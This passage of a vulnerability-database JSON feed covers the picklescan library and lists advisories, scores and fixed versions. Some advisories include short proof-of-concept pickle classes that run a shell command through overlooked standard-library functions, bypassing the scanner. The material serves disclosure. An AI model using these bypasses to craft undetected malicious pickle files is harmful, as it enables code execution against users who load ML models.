                        },
                        {
                            "vulnerability": "VCID-d4vv-a8kx-5kdc"
                        },
                        {
                            "vulnerability": "VCID-dsy5-2z6e-jqds"
                        },
                        {
                            "vulnerability": "VCID-e95k-rym7-a7bk"
                        },
                        {
                            "vulnerability": "VCID-fbng-xtyv-zqdf"
                        },
                        {
                            "vulnerability": "VCID-fkcx-bkmd-4bbe"
                        },
                        {
                            "vulnerability": "VCID-fsjg-pn1f-fqd6"
                        },
                        {
                            "vulnerability": "VCID-fvhz-kyju-qkg5"
                        },
                        {
                            "vulnerability": "VCID-fxc2-cr37-fuhg"
                        },
                        {
                            "vulnerability": "VCID-gbvh-fs1r-xqcw"
                        },
                        {
                            "vulnerability": "VCID-hg5h-54nq-bber"
                        },
                        {
                            "vulnerability": "VCID-hm3p-7t8t-bfb7"
                        },
                        {
                            "vulnerability": "VCID-jsfv-qjzd-87ck"
                        },
                        {
                            "vulnerability": "VCID-judk-maax-muc7"
                        },
                        {
                            "vulnerability": "VCID-k92s-yfxv-hqhr"
                        },
                        {
                            "vulnerability": "VCID-kne4-tcp8-m3c3"
                        },
                        {
                            "vulnerability": "VCID-n3yg-3gcp-nyc1"
                        },
                        {
                            "vulnerability": "VCID-p42h-2wne-j3ds"
                        },
                        {
                            "vulnerability": "VCID-pfmh-d33z-9ka8"
                        },
                        {
                            "vulnerability": "VCID-q3ju-z2ut-mkgx"
                        },
                        {
                            "vulnerability": "VCID-re4f-xefn-x7fb"
                        },
                        {
                            "vulnerability": "VCID-rqap-hdeb-1ffb"
                        },
                        {
                            "vulnerability": "VCID-ssnp-77kf-qudn"
                        },
                        {
                            "vulnerability": "VCID-v5yc-uwn3-akbc"
                        },
                        {
                            "vulnerability": "VCID-vgyv-ps7z-x7gc"
                        },
                        {
                            "vulnerability": "VCID-zh4p-1c3k-j3g8"
                        },
                        {
                            "vulnerability": "VCID-zhdd-ck3x-pbh7"
                        },
                        {
                            "vulnerability": "VCID-zhzt-rnfn-73ab"
                        },
                        {
                            "vulnerability": "VCID-zxc5-cgwk-qbcn"
                        }
                    ],
                    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:pypi/picklescan@0.0.23"
                }
            ],
            "aliases": [
                "GHSA-2fh4-gpch-vqv4"
            ],
            "risk_score": 3.1,
            "exploitability": "0.5",
            "weighted_severity": "6.2",
            "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-eub2-wr7z-c3e6"
        },
        {
            "url": "http://public2.vulnerablecode.io/api/vulnerabilities/360674?format=api",
            "vulnerability_id": "VCID-fbng-xtyv-zqdf",
            "summary": "Picklescan has a missing detection when calling built-in python trace.Trace.runctx\n### Summary\n\nUsing trace.Trace.runctx, which is a built-in python library function to execute remote pickle file.\n\n### Details\n\nThe attack payload executes in the following steps:\n\nFirst, the attacker craft the payload by calling to trace.Trace.runctx function in reduce method\nThen when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.\n\n### PoC\n\n```\nclass EvilTraceRunctx:\n    def __reduce__(self):\n        from trace import Trace\n        payload = \"__import__('os').system('whoami')\"\n        return Trace.runctx, (Trace(), payload, {}, {})\n```\n\n### Impact\n\nWho is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.\nWhat is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.\nSupply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.\n\n### Corresponding\n\nhttps://github.com/FredericDT\nhttps://github.com/Qhaoduoyu",
            "references": [
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/commit/aecd11be98702caa9ba9b12189d91ad596a36114",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/commit/aecd11be98702caa9ba9b12189d91ad596a36114"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-g344-hcph-8vgg",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-g344-hcph-8vgg"
                },
                {
                    "reference_url": "https://github.com/advisories/GHSA-g344-hcph-8vgg",
                    "reference_id": "GHSA-g344-hcph-8vgg",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/advisories/GHSA-g344-hcph-8vgg"
                }
            ],
            "fixed_packages": [
                {
                    "url": "http://public2.vulnerablecode.io/api/packages/89081?format=api",
                    "purl": "pkg:pypi/picklescan@0.0.29",
                    "is_vulnerable": true,
                    "affected_by_vulnerabilities": [
                        {
                            "vulnerability": "VCID-38pp-fqgk-bygf"
                        },
                        {
                            "vulnerability": "VCID-46rw-3mfv-67ad"
                        },
                        {
                            "vulnerability": "VCID-8fwp-rcz9-byam"
                        },
                        {
                            "vulnerability": "VCID-8q15-7ur4-kkde"
                        },
                        {
                            "vulnerability": "VCID-a31m-q2ca-w7em"
                        },
                        {
                            "vulnerability": "VCID-ay9k-cbe6-wye5"
                        },
                        {
                            "vulnerability": "VCID-c5rh-vbqs-q7bp"
                        },
                        {
                            "vulnerability": "VCID-cq25-8mmm-3yfg"
                        },
                        {
                            "vulnerability": "VCID-czzc-g8zx-1kbq"
                        },
                        {
                            "vulnerability": "VCID-e95k-rym7-a7bk"
                        },
                        {
                            "vulnerability": "VCID-fkcx-bkmd-4bbe"
                        },
                        {
                            "vulnerability": "VCID-fvhz-kyju-qkg5"
                        },
                        {
                            "vulnerability": "VCID-fxc2-cr37-fuhg"
                        },
                        {
                            "vulnerability": "VCID-gbvh-fs1r-xqcw"
                        },
                        {
                            "vulnerability": "VCID-hg5h-54nq-bber"
                        },
                        {
                            "vulnerability": "VCID-jsfv-qjzd-87ck"
                        },
                        {
                            "vulnerability": "VCID-judk-maax-muc7"
                        },
                        {
                            "vulnerability": "VCID-k92s-yfxv-hqhr"
                        },
                        {
                            "vulnerability": "VCID-p42h-2wne-j3ds"
                        },
                        {
                            "vulnerability": "VCID-pfmh-d33z-9ka8"
                        },
                        {
                            "vulnerability": "VCID-q3ju-z2ut-mkgx"
                        },
                        {
                            "vulnerability": "VCID-re4f-xefn-x7fb"
                        },
                        {
                            "vulnerability": "VCID-ssnp-77kf-qudn"
                        },
                        {
                            "vulnerability": "VCID-vgyv-ps7z-x7gc"
                        },
                        {
                            "vulnerability": "VCID-zh4p-1c3k-j3g8"
                        },
                        {
                            "vulnerability": "VCID-zhzt-rnfn-73ab"
                        }
                    ],
                    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:pypi/picklescan@0.0.29"
                }
            ],
            "aliases": [
                "GHSA-g344-hcph-8vgg"
            ],
            "risk_score": 3.1,
            "exploitability": "0.5",
            "weighted_severity": "6.2",
            "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-fbng-xtyv-zqdf"
        },
        {
            "url": "http://public2.vulnerablecode.io/api/vulnerabilities/212548?format=api",
            "vulnerability_id": "VCID-fkcx-bkmd-4bbe",
            "summary": "picklescan vulnerable to arbitrary file create using logging.FileHandler",
            "references": [
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "5.5",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P"
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/commit/4d9bc9cd34bca8672dad3481cd4556d5ba747156",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "5.5",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P"
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/commit/4d9bc9cd34bca8672dad3481cd4556d5ba747156"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/pull/60",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "5.5",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P"
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/pull/60"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/releases/tag/v1.0.1",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "5.5",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P"
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/releases/tag/v1.0.1"
                },
                {
                    "reference_url": "https://github.com/advisories/GHSA-m7j5-r2p5-c39r",
                    "reference_id": "GHSA-m7j5-r2p5-c39r",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/advisories/GHSA-m7j5-r2p5-c39r"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-m7j5-r2p5-c39r",
                    "reference_id": "GHSA-m7j5-r2p5-c39r",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        },
                        {
                            "value": "5.5",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P"
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-m7j5-r2p5-c39r"
                }
            ],
            "fixed_packages": [
                {
                    "url": "http://public2.vulnerablecode.io/api/packages/38505?format=api",
                    "purl": "pkg:pypi/picklescan@1.0.1",
                    "is_vulnerable": true,
                    "affected_by_vulnerabilities": [
                        {
                            "vulnerability": "VCID-8q15-7ur4-kkde"
                        },
                        {
                            "vulnerability": "VCID-ay9k-cbe6-wye5"
                        },
                        {
                            "vulnerability": "VCID-czzc-g8zx-1kbq"
                        },
                        {
                            "vulnerability": "VCID-k92s-yfxv-hqhr"
                        }
                    ],
                    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:pypi/picklescan@1.0.1"
                }
            ],
            "aliases": [
                "GHSA-m7j5-r2p5-c39r"
            ],
            "risk_score": 3.1,
            "exploitability": "0.5",
            "weighted_severity": "6.2",
            "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-fkcx-bkmd-4bbe"
        },
        {
            "url": "http://public2.vulnerablecode.io/api/vulnerabilities/360654?format=api",
            "vulnerability_id": "VCID-fsjg-pn1f-fqd6",
            "summary": "Picklescan has a missing detection when calling built-in python idlelib.debugobj.ObjectTreeItem\n### Summary\n\nUsing idlelib.debugobj.ObjectTreeItem.SetText, which is a built-in python library function to execute remote pickle file.\n\n### Details\n\nThe attack payload executes in the following steps:\n\nFirst, the attacker craft the payload by calling to idlelib.debugobj.ObjectTreeItem.SetText function in reduce method\nThen when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.\n\n### PoC\n\n```\nclass EvilDebugobjSetText:\n    def __reduce__(self):\n        from idlelib.debugobj import ObjectTreeItem\n        # ObjectTreeItem(..., setfunction=print).SetText(cmd)\n        return ObjectTreeItem(\"label\", None, print).SetText, (\"__import__('os').system('whoami')\",)\n```\n\n### Impact\n\nWho is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.\nWhat is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.\nSupply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.\n\n### Corresponding\n\nhttps://github.com/FredericDT\nhttps://github.com/Qhaoduoyu",
            "references": [
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/commit/aecd11be98702caa9ba9b12189d91ad596a36114",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
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                }
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                "CVE-2025-1716",
                "GHSA-655q-fx9r-782v",
                "PYSEC-2025-18"
            ],
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            "summary": "Duplicate Advisory: Picklescan is Vulnerable to Unsafe Globals Check Bypass through Subclass Imports\n### Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-f7qq-56ww-84cr. This link is maintained to preserve external references.\n\n### Original Description\nA Protection Mechanism Failure vulnerability in mmaitre314 picklescan versions up to and including 0.0.30 allows a remote attacker to bypass the unsafe globals check. This is possible because the scanner performs an exact match for module names, allowing malicious payloads to be loaded via submodules of dangerous packages (e.g., 'asyncio.unix_events' instead of 'asyncio'). \n\nWhen the incorrectly considered safe file is loaded after scan, it can lead to the execution of malicious code.",
            "references": [
                {
                    "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2025-10157",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
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                        },
                        {
                            "value": "CRITICAL",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
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                },
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                        },
                        {
                            "value": "CRITICAL",
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                            "scoring_elements": ""
                        }
                    ],
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                {
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                    "reference_id": "GHSA-hf6h-9wq7-hmjg",
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                    "scores": [
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                        }
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            ],
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            "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-gbvh-fs1r-xqcw"
        },
        {
            "url": "http://public2.vulnerablecode.io/api/vulnerabilities/113420?format=api",
            "vulnerability_id": "VCID-hg5h-54nq-bber",
            "summary": "An Improper Input Validation vulnerability in the scanning logic of mmaitre314 picklescan versions up to and including 0.0.30 allows a remote attacker to bypass pickle files security checks by supplying a standard pickle file with a PyTorch-related file extension. When the pickle file incorrectly considered safe is loaded, it can lead to the execution of malicious code.",
            "references": [
                {
                    "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2025-10155",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
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                            "scoring_system": "epss",
                            "scoring_elements": "0.2211",
                            "published_at": "2026-06-11T12:55:00Z"
                        },
                        {
                            "value": "0.00072",
                            "scoring_system": "epss",
                            "scoring_elements": "0.22292",
                            "published_at": "2026-06-14T12:55:00Z"
                        },
                        {
                            "value": "0.00072",
                            "scoring_system": "epss",
                            "scoring_elements": "0.22313",
                            "published_at": "2026-06-13T12:55:00Z"
                        },
                        {
                            "value": "0.00072",
                            "scoring_system": "epss",
                            "scoring_elements": "0.223",
                            "published_at": "2026-06-12T12:55:00Z"
                        }
                    ],
                    "url": "https://api.first.org/data/v1/epss?cve=CVE-2025-10155"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "7.8",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"
                        },
                        {
                            "value": "9.3",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
                        },
                        {
                            "value": "CRITICAL",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/commit/28a7b4ef753466572bda3313737116eeb9b4e5c5",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "7.8",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"
                        },
                        {
                            "value": "9.3",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
                        },
                        {
                            "value": "CRITICAL",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/commit/28a7b4ef753466572bda3313737116eeb9b4e5c5"
                },
                {
                    "reference_url": "https://github.com/pypa/advisory-database/tree/main/vulns/picklescan/PYSEC-2025-151.yaml",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "7.8",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"
                        },
                        {
                            "value": "9.3",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
                        },
                        {
                            "value": "CRITICAL",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/pypa/advisory-database/tree/main/vulns/picklescan/PYSEC-2025-151.yaml"
                },
                {
                    "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2025-10155",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "7.8",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"
                        },
                        {
                            "value": "9.3",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
                        },
                        {
                            "value": "CRITICAL",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-10155"
                },
                {
                    "reference_url": "https://github.com/advisories/GHSA-jgw4-cr84-mqxg",
                    "reference_id": "GHSA-jgw4-cr84-mqxg",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "CRITICAL",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/advisories/GHSA-jgw4-cr84-mqxg"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-jgw4-cr84-mqxg",
                    "reference_id": "GHSA-jgw4-cr84-mqxg",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "7.8",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"
                        },
                        {
                            "value": "CRITICAL",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        },
                        {
                            "value": "9.3",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
                        },
                        {
                            "value": "CRITICAL",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        },
                        {
                            "value": "Track",
                            "scoring_system": "ssvc",
                            "scoring_elements": "SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-09-17T13:03:48Z/"
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-jgw4-cr84-mqxg"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/blob/58983e1c20973ac42f2df7ff15d7c8cd32f9b688/src/picklescan/scanner.py#L463",
                    "reference_id": "scanner.py#L463",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "7.8",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"
                        },
                        {
                            "value": "9.3",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
                        },
                        {
                            "value": "CRITICAL",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        },
                        {
                            "value": "Track",
                            "scoring_system": "ssvc",
                            "scoring_elements": "SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-09-17T13:03:48Z/"
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/blob/58983e1c20973ac42f2df7ff15d7c8cd32f9b688/src/picklescan/scanner.py#L463"
                }
            ],
            "fixed_packages": [
                {
                    "url": "http://public2.vulnerablecode.io/api/packages/89083?format=api",
                    "purl": "pkg:pypi/picklescan@0.0.31",
                    "is_vulnerable": true,
                    "affected_by_vulnerabilities": [
                        {
                            "vulnerability": "VCID-38pp-fqgk-bygf"
                        },
                        {
                            "vulnerability": "VCID-46rw-3mfv-67ad"
                        },
                        {
                            "vulnerability": "VCID-8fwp-rcz9-byam"
                        },
                        {
                            "vulnerability": "VCID-8q15-7ur4-kkde"
                        },
                        {
                            "vulnerability": "VCID-a31m-q2ca-w7em"
                        },
                        {
                            "vulnerability": "VCID-ay9k-cbe6-wye5"
                        },
                        {
                            "vulnerability": "VCID-c5rh-vbqs-q7bp"
                        },
                        {
                            "vulnerability": "VCID-cq25-8mmm-3yfg"
                        },
                        {
                            "vulnerability": "VCID-czzc-g8zx-1kbq"
                        },
                        {
                            "vulnerability": "VCID-e95k-rym7-a7bk"
                        },
                        {
                            "vulnerability": "VCID-fkcx-bkmd-4bbe"
                        },
                        {
                            "vulnerability": "VCID-fvhz-kyju-qkg5"
                        },
                        {
                            "vulnerability": "VCID-fxc2-cr37-fuhg"
                        },
                        {
                            "vulnerability": "VCID-judk-maax-muc7"
                        },
                        {
                            "vulnerability": "VCID-k92s-yfxv-hqhr"
                        },
                        {
                            "vulnerability": "VCID-pfmh-d33z-9ka8"
                        },
                        {
                            "vulnerability": "VCID-q3ju-z2ut-mkgx"
                        },
                        {
                            "vulnerability": "VCID-re4f-xefn-x7fb"
                        },
                        {
                            "vulnerability": "VCID-ssnp-77kf-qudn"
                        },
                        {
                            "vulnerability": "VCID-zhzt-rnfn-73ab"
                        }
                    ],
                    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:pypi/picklescan@0.0.31"
                }
            ],
            "aliases": [
                "CVE-2025-10155",
                "GHSA-jgw4-cr84-mqxg",
                "PYSEC-2025-151"
            ],
            "risk_score": 4.5,
            "exploitability": "0.5",
            "weighted_severity": "9.0",
            "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-hg5h-54nq-bber"
        },
        {
            "url": "http://public2.vulnerablecode.io/api/vulnerabilities/360658?format=api",
            "vulnerability_id": "VCID-hm3p-7t8t-bfb7",
            "summary": "Picklescan is missing detection when calling built-in python lib2to3.pgen2.pgen.ParserGenerator.make_label\n### Summary\n\nUsing lib2to3.pgen2.pgen.ParserGenerator.make_label function, which is a built-in python library function to execute remote pickle file.\n\n### Details\n\nThe attack payload executes in the following steps:\n\nFirst, the attacker craft the payload by calling to lib2to3.pgen2.pgen.ParserGenerator.make_label function in reduce method\nThen when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.\n\n### PoC\n\n```\nfrom types import SimpleNamespace\nfrom lib2to3.pgen2.pgen import ParserGenerator\n\nclass EvilLib2to3Pgen2ParserGeneratorMakeLabel:\n    def __reduce__(self):\n        c = SimpleNamespace(labels=[], keywords={}, tokens={})\n        label = '\"\"+__import__(\\'os\\').system(\\'whoami\\')'\n        return ParserGenerator.make_label, (None, c, label)\n```\n\n### Impact\n\nWho is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.\nWhat is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.\nSupply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.\n\n### Corresponding\n\nhttps://github.com/FredericDT\nhttps://github.com/Qhaoduoyu",
            "references": [
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/commit/1931c2d04eaca8d20597705ff39cab78ba364e4b",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/commit/1931c2d04eaca8d20597705ff39cab78ba364e4b"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-p9w7-82w4-7q8m",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-p9w7-82w4-7q8m"
                },
                {
                    "reference_url": "https://github.com/advisories/GHSA-p9w7-82w4-7q8m",
                    "reference_id": "GHSA-p9w7-82w4-7q8m",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/advisories/GHSA-p9w7-82w4-7q8m"
                }
            ],
            "fixed_packages": [
                {
                    "url": "http://public2.vulnerablecode.io/api/packages/89082?format=api",
                    "purl": "pkg:pypi/picklescan@0.0.30",
                    "is_vulnerable": true,
                    "affected_by_vulnerabilities": [
                        {
                            "vulnerability": "VCID-38pp-fqgk-bygf"
                        },
                        {
                            "vulnerability": "VCID-46rw-3mfv-67ad"
                        },
                        {
                            "vulnerability": "VCID-8fwp-rcz9-byam"
                        },
                        {
                            "vulnerability": "VCID-8q15-7ur4-kkde"
                        },
                        {
                            "vulnerability": "VCID-a31m-q2ca-w7em"
                        },
                        {
                            "vulnerability": "VCID-ay9k-cbe6-wye5"
                        },
                        {
                            "vulnerability": "VCID-c5rh-vbqs-q7bp"
                        },
                        {
                            "vulnerability": "VCID-cq25-8mmm-3yfg"
                        },
                        {
                            "vulnerability": "VCID-czzc-g8zx-1kbq"
                        },
                        {
                            "vulnerability": "VCID-e95k-rym7-a7bk"
                        },
                        {
                            "vulnerability": "VCID-fkcx-bkmd-4bbe"
                        },
                        {
                            "vulnerability": "VCID-fvhz-kyju-qkg5"
                        },
                        {
                            "vulnerability": "VCID-fxc2-cr37-fuhg"
                        },
                        {
                            "vulnerability": "VCID-gbvh-fs1r-xqcw"
                        },
                        {
                            "vulnerability": "VCID-hg5h-54nq-bber"
                        },
                        {
                            "vulnerability": "VCID-jsfv-qjzd-87ck"
                        },
                        {
                            "vulnerability": "VCID-judk-maax-muc7"
                        },
                        {
                            "vulnerability": "VCID-k92s-yfxv-hqhr"
                        },
                        {
                            "vulnerability": "VCID-p42h-2wne-j3ds"
                        },
                        {
                            "vulnerability": "VCID-pfmh-d33z-9ka8"
                        },
                        {
                            "vulnerability": "VCID-q3ju-z2ut-mkgx"
                        },
                        {
                            "vulnerability": "VCID-re4f-xefn-x7fb"
                        },
                        {
                            "vulnerability": "VCID-ssnp-77kf-qudn"
                        },
                        {
                            "vulnerability": "VCID-vgyv-ps7z-x7gc"
                        },
                        {
                            "vulnerability": "VCID-zh4p-1c3k-j3g8"
                        },
                        {
                            "vulnerability": "VCID-zhzt-rnfn-73ab"
                        }
                    ],
                    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:pypi/picklescan@0.0.30"
                }
            ],
            "aliases": [
                "GHSA-p9w7-82w4-7q8m"
            ],
            "risk_score": 3.1,
            "exploitability": "0.5",
            "weighted_severity": "6.2",
